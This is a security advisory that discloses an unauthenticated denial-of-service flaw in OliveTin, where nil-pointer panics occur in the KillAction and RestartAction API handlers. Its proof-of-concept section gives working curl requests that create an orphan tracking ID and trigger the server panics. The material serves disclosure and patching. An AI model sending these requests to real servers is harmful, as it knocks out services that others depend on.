GHSA-fwhj-785h-43hh: 
vulnerability analysis and mitigation

Summary

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

1. StartActionByGet accepts arbitrary actionId and still calls executor:
   • service/internal/api/api.go:239
2. Executor stores a log entry before binding validation:
   • service/internal/executor/executor.go:519
3. If binding is nil, execution stops, but the log entry remains:
   • service/internal/executor/executor.go:781
4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:
   • service/internal/api/api.go:79
5. RestartAction has the same unsafe dereference:
   • service/internal/api/api.go:1285 Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

• OliveTin default single frontend on http://localhost:1337
• Reproduced on main (commit 235493e) and tag 3000.11.0

1. Create orphan tracking ID with invalid action:

T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
  -H 'Content-Type: application/json' \
  --data '{"actionId":"does-not-exist"}' \
  | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
    - service/internal/api/api.go:79 (KillAction)
    - service/internal/api/api.go:1285 (RestartAction)

Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.